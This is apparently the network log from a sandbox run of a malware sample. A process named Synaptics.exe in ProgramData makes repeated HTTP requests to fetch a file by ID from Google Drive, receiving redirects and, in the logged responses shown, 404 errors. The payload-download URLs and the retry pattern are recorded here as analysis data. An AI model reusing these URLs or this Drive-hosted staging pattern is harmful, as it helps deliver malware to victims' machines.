2025-01-02 19:20:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-zeUFBUbdcnSc_GXHGzGMcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49767	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:22 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:22 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6BU-4-TM0PBslSYXarw8DbgQxKa9B0PpzoJ65MwevUK_ywqXu1bzFpOx44DM68ccUhmIv5BX4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:22 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Pp1SgoKqaO9iMAltGOQ3gA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:22 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:22 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 43 4b 64 77 54 79 2d 65 6b 4c 45 49 4a 72 6f 6b 70 48 39 77 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="HCKdwTy-ekLEIJrokpH9wQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:22 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49769	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-IKul79YLNHviZgGSnmUL7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49770	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:23 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:23 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6OO1YjFKw2YORvC5_fHEj2UM4GZ_Z8GV7BXBCr5EyHYmr9OK3jguJ5dIGxHfK-GK8C-CNC-78 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:23 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uLHrWaldBHMidSxbyGUBxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:23 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:23 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 38 4c 72 6b 57 52 4e 52 6b 4f 6f 66 2d 43 6c 59 73 5f 5f 68 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="D8LrkWRNRkOof-ClYs__hQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:23 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49771	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yCLK0oROWSU0dmPfh9f8sQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49772	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:23 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:23 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC59qrXdUrue-Y952WTLCpjmxFD5NCpUHkkY93mOv5IEpwTnGYaYNcF5_MXCSVCijiCL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:23 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hPF6H_g3-HP8LKXA9xrA-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:23 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:23 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 34 45 50 69 5f 6f 5a 64 45 72 6b 30 73 35 57 68 44 77 64 5f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="I4EPi_oZdErk0s5WhDwd_w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:23 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49775	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:24 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49776	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:24 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49779	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kCRHJBvhcv2PThncJby7mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49780	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-AWyNkBfEXdhpxAQ3AIXfJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49781	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
2025-01-02 19:20:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fCD3Kv6w-Vwk0IvRjzxp6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49784	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:26 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
